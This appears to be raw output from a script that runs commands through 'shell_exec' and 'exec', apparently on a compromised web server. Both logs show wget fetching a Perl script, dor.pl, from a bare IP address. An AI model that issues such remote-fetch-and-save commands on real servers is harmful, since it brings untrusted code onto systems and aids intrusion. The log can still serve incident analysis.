<pre>=== shell_exec output ===
--2026-05-30 19:36:38--  http://192.253.248.9/dor.pl
Connecting to 192.253.248.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29426 (29K) [text/x-perl]
Saving to: 'dor.pl.10'

     0K .......... .......... ........                        100% 1.99M=0.01s

2026-05-30 19:36:38 (1.99 MB/s) - 'dor.pl.10' saved [29426/29426]


=== exec output ===
--2026-05-30 19:36:38--  http://192.253.248.9/dor.pl
Connecting to 192.253.248.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29426 (29K) [text/x-perl]
Saving to: 'dor.pl.11'

     0K .......... .......... ........                        100% 2.02M=0.01s

2026-05-30 19:36:39 (2.02 MB/s) - 'dor.pl.11' saved [29426/29426]

</pre>